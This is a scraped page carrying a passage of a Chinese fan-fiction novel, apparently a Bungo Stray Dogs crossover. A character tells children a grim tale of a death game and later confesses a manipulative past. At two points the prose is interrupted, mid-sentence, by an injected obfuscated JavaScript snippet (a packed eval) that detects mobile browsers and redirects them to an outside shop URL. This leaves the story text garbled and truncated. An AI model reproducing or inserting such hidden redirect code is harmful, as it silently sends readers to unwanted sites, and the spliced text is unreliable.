正如他之前内心所言,鸣月面对的是这样一张,只要稍微撒撒娇、就怎么都拒绝不了的面容。 金发青年终于捋顺了挚友总是凌乱的卷发,线条利落的衣摆随着起身动作垂悬在腿弯处,晃得不怎么起眼。 “反正这段时间都没什么事情,那就明天多睡一会儿吧。” 青年语气轻松地将挚友睡眠的时间又推晚了许久。 下一秒,未锁的门板被砰地一声拍开。 “大叔——什么时候送人家回去呢?” 身上绷带焕然一新的太宰治问。 西园寺鸣月感觉自己喉咙一紧,有一些喘不过气。 …… 经过各种各样的坎坷之后,西园寺鸣月将焕然一新的太宰治送还回了诊所。 面对森鸥外还想再多聊几句的挽留,他摇头拒绝,“再不走,我的朋友该生气了。” 毕竟是其他if线跑过来的家伙,优先级肯定要比任何一个人都要高的。 五分钟…… 时间多少有点紧迫啊。 提着医生又一次送来的药物,西园寺鸣月赶在最后七秒钟出现在了偷渡客面前。 “太为难我了,小隐。” 他将一大袋药随手搁置在玄关处,“给的时间太少,所以完全找不到相等的谢礼还回去,这太失礼了。” “那个庸医才不会在意的,毕竟他就是为了讨好你才这样做的嘛。” 偷渡客撇撇嘴,话语中很瞧不上这位医生。 西园寺鸣月点了点他额头,没有选择指责挚友背后说坏话的这个行为,“每个人的为人处世,做事方法都不一样,也能理解,但这不该我们怠慢的理由。” 他说着长腿一迈,带着挚友坐进了人群中间。 恰好投影的影片加入尾声,音响尽职尽责地歌唱着舒缓的片尾曲。 “刚才多耽搁了一会儿时间,大家还是睡不着吗?” 问完话,西园寺鸣月打眼一扫,对上一双双神采奕奕的眼睛,就知道这里除了他没有人想睡觉了。 就当是乔迁第一晚的派对吧。 从前在国外时,自己可是一场派对都没有参与过啊,西园寺鸣月忍俊不禁的想。 “大家有想玩的东西吗?比如游戏,玩具,或者想看其他类型的电影?” 金发青年又陆续说出几个他所知道的,派对常有的娱乐活动,随后,用期待的目光看向这个家的小主人们。 十余个孩子登时你一嘴我一言地开始说话,小红说要玩具,动画里的变声器一看就很有意思,小黄想要美食,昨天尝到的辣热狗怎么也吃不够。 两个人意见不和,开始了今天的第六次争吵。 在小林真的劝架声中,小灰俏咪咪地提了一嘴自己的那三个“老师”,好奇他的老师能够教给自己什么知识,野比二郎低咳一声,说他和龙之介想要看看西园寺书柜里的书籍。 “派对,应该有蛋糕。” 芥川银凑到西园寺鸣月身边,郑重其事的说,她开始蓄长的短发停在耳廓处,略显毛躁。 “还有故事!” 另一个女孩笑嘻嘻地挤过来,散乱的棕红发不懂事地飘起来,像是一只毛发厚实蓬松的松鼠,“西园寺先生,您上一次的故事还没说结尾呢。” “嗯,故事!” 立马有人应声,看起来想听后续的人不在少数。 西园寺鸣月提前扮演起了圣诞老人,将所有人想要的礼物都呈于他们眼前。 彩窗后的宝石荧光浮跃,与吊顶的灯光相交映,在墙面蒙上一点朦胧的雾。 金发青年回想着几日前未完待续的故事。 但在讲述之前,他先问了一个问题。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16818105|186844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大家知道「蛊池」吗?” 围在他身边的孩子整齐划一摇着头。 仿佛觉得这个场景十分有趣,紧紧依偎在青年怀里,把周围人全部赶走了的偷渡客笑出声,用尽显优越与傲气的声音说道: “字面意义上,就是把很多毒虫放在一个密闭的空间,让它们互相厮杀,直至空间内只剩最后一只毒虫。” “就是这样。” 金发青年调整了一下坐姿,让光影更柔和地铺在肩头。 “想象一个透明的罐子,起初,里面放着上百只形貌、习性各异的毒虫。它们被静置在狭小空间里,空间仅存极少赖以生存的资源——或许是一小块腐肉,几滴浊水。” “罐口被封上,黑暗降临,饥饿与求生本能开始发酵,起初是躁动,接着是试探。” 霜白的指尖轻点桌面,似乎在叩击幻想中的罐壁,金发青年比挚友讲解的更加细致。 “第一场厮杀往往发生在最虚弱的个体之间,胜者吞下败者的躯体,以同类为养料,吞食者会变得更加强大。” “在一个又一个同类的死亡与吞食下,它们逐渐明白了规则—— 要么掠夺,要么被掠夺,要么进化,要么消亡。” “有些虫子试图结盟,有些虫子假装死亡,有些虫甚至啃噬罐壁——但罐子异常坚固,所有行动最终都将导向内部更激烈的倾轧。” 小红的棉花糖掉在了地上。 它轻到没有一点重量,掉在地上无声无息。 “时间流逝,罐子里的虫子日益稀少。” “十五只……十只……三只……” “最后,唯一一只盘踞罐底,它或许已面目全非,甲壳斑驳,但它的体内融合了上百,乃至上万种毒素与智慧——这样的毒虫,被称之为蛊王。” “三年前,在某座偏僻海岛上,我的下属发现了一个蛊池,那是一座两百年前建立的古堡。” “里面的虫子——” 西园寺鸣月稍作停顿,给了众人一定的缓冲时间。 “虫子的主人是来自世界各地的贵族,富商,黑手党或某个信仰的教主。” “蛊池每二十年展开一次。” “他们会在蛊池开启的二十年内,以蛊虫的方式培养起亲子,继子,或某个强壮的奴隶之子,用殴打,言语,精神虐待等各种方式,将他们培育成一只足够合格的毒虫。” 夏日炙热的气浪穿过木质廊道,扑进半开的窗,一波接一波地带着热风挤进来,却始终未曾将室内的寒意驱逐开。 一盏烛灯慢慢流下血肉造就的泪。 讲故事的人还在继续。 “最后,再把他们带进本次创办人定下的地点,那必须是一个封闭,找不到任何出口的地方。” “三年前——掌控着一整个国度黑手党势力的教父、上一届蛊王定下的地点,是建立在一座偏僻海岛上的城堡。” “那座城堡遍布机关,只有两个人知道所有的破解方法,其中一个是那位教父,另一位是他的亲子,同样的,是那一年的获胜者。” 寂静之中,流转在耳畔的呼吸愈发急促。 讲述者垂下眼眸。 “孱弱的亲子毫无力气,唯一的武器是一把只有五颗子弹的手枪,但他的记忆很好,是父亲也称赞过的聪明,即使这处地方,从来都只在顶楼与地下室中转圈的他从未来过。” “只匆忙看了一遍城堡区域图的他利用第一颗子弹,击碎了一只毒虫的头颅,毒虫的身躯孔武有力,赠予他一点力量。” “于是他启动了第一层机关——大厅的地面突然打开一个方形的洞,下面竖满尖刺,站在那里的所有人都掉了下去。” “你们见过一瞬间被水淹没的蚁群吗?就像那样,一半的毒虫死在了那个洞里。” “只不过转移力量需要喝下毒虫的血液,他并没有得到太多力量,纵使那些人因他而死。” “第二层机关是一个大摆锤,和游乐园里一模一样的大摆锤,通体燃烧着火焰,虫子轻轻一碰,就会与大摆锤融为一体,黑漆漆的,很臭。” 一只手伸出,简单地比了个数字。 “四分之三,第三层机关,他用了第二颗子弹,将吊在穹顶的月牙灯击碎。” “腐蚀性的液体落下,下了一场雨,又五分之一,这个时候,场上还有三十七个人。” “第三颗子弹,他射向比自己强大一点的人,获得了一点隐蔽,于是他藏在尸体中,启动了第四层机关。” “场上还有十三个人。” “第四颗子弹,他躲在一个合作的组合后,激发了几人的猜忌与争斗。” “场上还剩最后四个人。” “他最为弱小,理应被第一个杀死,于是他被三个人围攻,在奔跑至顶楼时,他启动了第五层机关。” “顶楼的地面瞬间消失,四个人跌落大厅。” “在跌落的过程中,一枚从墙□□出的子弹,穿透了其中一个人,他砸在尸体堆成的山上,伪装成一个死人。” “场上还剩最后三个人,对其余人而言,还剩最后两个人。” “于是他们竭尽全力的去厮杀,直到其中一个彻底死亡,现在,场上真真正正的,只剩下最后两个人。” “另一人的武器同样是枪,但已经没了子弹,于是,最后一颗子弹的主人获得了胜利,得到了他们所有的特长。” “作为夺得胜利的奖励,父亲在第二日送来了所有,参与过这场游戏的人员,他们奄奄一息,痛哭流涕,死后的尸体被父亲送进了绞肉机。” “艾肯·克拉西斯,上一届蛊王带着他的儿子结束了长达百年的游戏,巨大的卵巢倾塌,轰动世界,在摧毁掉最后一个蛊池之后,自戕于最开始那座城堡之中。” “他的儿子知名不具,听说随来自日本的母亲而姓,自那之后彻底消失于人前,不知所踪。” “以上,就是我四岁到七岁的过往。” 58.第 58 章 “……” 晚香堂内一片寂静。 说了这么多话,藤原千学的嗓子已经有些哑了,他左右看了看,发现所有人都沉默着,站起身,自己给自己倒了一杯水。 水柱砸进陶瓷杯,打碎了这片沉默。 藤原千学捧着水杯,喝了一大口水才缓解掉口腔的干涸。 “不过我现在已经没有那些多余的能力了。” 财富,权势,力量,名声。 全部的利益如巨大的蛛网盘踞整个世界,他用一把火烧之一炬,短暂的混乱与硝烟之后,世界重归宁静。 “我放弃了。” “……” 这是一次夜谈会。 尾崎红叶和间贯一最终还是没有接受西园寺鸣月的好意,他们先回到了晚香堂,藤原千学恰好在这里,就像是提前在等候着他们。 看到藤原千学这张平静又毫不心虚的面容,尾崎红叶没有控制好自己的脾气,头一次直言不讳地去问他——为什么要欺骗自己? 此时的局面也是她执着于找藤原千学要一个答案,所造成的结果。 他们听到了一个故事。 讲述者用云淡风轻的态度将他们带进自己记忆的深渊之中,他的声音仍旧平静,没有丝毫颤抖,像是那真的只是一个稍显黑暗的普通故事。 在所有人都没有从腐烂的气味中回过神来时,他仿佛从未没入过这层深水,在淤泥中来去自如。 “所以我对待人的态度不一样,解决问题的方式也异于常人。” 就像现在。 卖惨是面对心思细腻之人最佳的解决方案。 只要可以为自己牟利好处,身体,痛苦,记忆或表情,各种代价他都能够付得起。 藤原千学又喝了一口水。 “我不会去理解任何人的想法,也不在乎,同样的,这个世界百分之九十九的人都不会理解我。” 言语与眼睛,是魂灵的装饰品。 只要声音放轻一点,眼神再认真一点,别人就会认为自己已经开始改变了。 纵然话语仍旧不通人情。 “你无法理解很正常,不想原谅也正常。” “……” “但社长说,想要真正来到这个世界,要先改掉身上的所有坏习惯。” 藤原千学放下杯子。 现在应该微笑吗? 不对,用最平常的态度就可以。 在侦探社所有人的见证下,他维持着平静的表情说:“所以,请你们原谅我。” 谁会舍得责怪一个正在拼命向光而去,开始一点一点主动改变自己的孩子呢? 聪明的孩子顽固成性,又善于伪装,有人说愿意包容自己,怜爱自己,那么他便选择展露所有,包括基因中固有的劣性根。 一次欺骗需要无数个谎言去圆。 谎言编字成行,拓印在人生上万页篇幅中,只要不被发现,不被拆穿,慢慢的,由欺骗钩织的人生也就成了真。 漆黑的魂灵涂上白油漆,看上去同样洁白无瑕。 毕竟一本足够厚重的书籍。 或许有千千万万页。 “……” 一声泣音突然中止了他蔓延无边的思绪,也打破了这片寂静。 藤原千学突然感觉到了一股极大的拉力桎梏住了自己的手臂,一晃眼,他便被人紧紧抱住了。 ——“这种事情怎么现在才说出来啊!” 少女声音被巨大的悲愤冲击地有些模糊,像是电闪雷鸣的暴雨天中一棵招摇的树,在毁天灭地的轰鸣声中破碎成块。 “社长不是你的家人吗?这样痛苦……这样痛苦的事情明明可以一开始就说出来的啊!家人不是只拿来看的,至少,至少告诉社长啊!” 是与谢野晶子。 藤原千学被这强烈的情感冲击地说不出话来,被触碰的身体开始僵硬,他下意识地转头,想要寻求江户川乱步的帮助。 “……” 江户川乱步在哭。 “……” 藤原千学知道他是一个很坚强,也很乐观的人,不管多苦多累的生活都能够从中找到乐趣,每一天都带着笑容去面对,偶尔会显得有些不正经。 而自他们相遇之后,也都是江户川乱步在包容着藤原千学,他最清楚藤原千学是个什么样子的人。 除去当初真正快要穷途末路的时候,江户川乱步崩溃地抱着藤原千学大哭了一场,那是稳固的河堤唯一一次决堤。 相比较那一次,少年如今悲伤的十分隐蔽,就连眼眶都湿润地默不作声,一点不像平日里的他。 仿佛在骄阳下茁壮生长的绿叶也经历了一场大雨,颓废地带着湿漉漉的树冠低下头,收拢住了张扬的模样。 尚愚钝的人都能够在这段平铺直叙的话语中感受到痛极的悲苦。 ——更何况生来便聪慧如神的江户川乱步呢。 触及到藤原千学的视线,氤氲着水雾的绿眸眨了又眨。 少年好面子般抬起手臂,粗鲁地想要擦掉泪水,偏偏弄巧成拙,泪水将袖口都浸透了也没被擦干净。 最后好像终于是放 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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哭泣声持续到了第二日的夜晚,仿佛要把藤原千学从前未流尽的泪尽数哭个干净。 他不应该为了一劳永逸,选择在这种时候将过去说出去。 一开始只要好好道个歉就可以解决的问题…… 似乎, 彻底成了结。